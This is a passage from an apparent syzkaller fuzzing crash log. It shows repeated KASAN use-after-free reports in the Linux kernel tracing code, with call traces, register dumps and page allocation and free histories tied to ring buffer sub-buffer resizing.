system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
Read of size 2 at addr ffff888119b6ec24 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
print_trace_fmt+0x6ea/0x800 kernel/trace/trace.c:3045
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x432/0x4c0 kernel/trace/trace_output.c:663
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
Read of size 4 at addr ffff888119b6ec28 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_context+0x455/0x4c0 kernel/trace/trace_output.c:665
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
Read of size 1 at addr ffff888119b6ec26 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x36c/0x3d0 kernel/trace/trace_output.c:491
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x387/0x3d0 kernel/trace/trace_output.c:541
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
Read of size 1 at addr ffff888119b6ec27 by task syz-executor390/5916
CPU: 0 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
trace_print_lat_fmt+0x3a2/0x3d0 kernel/trace/trace_output.c:546
trace_print_context+0x283/0x4c0 kernel/trace/trace_output.c:679
print_trace_fmt+0x3bf/0x800 kernel/trace/trace.c:3051
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
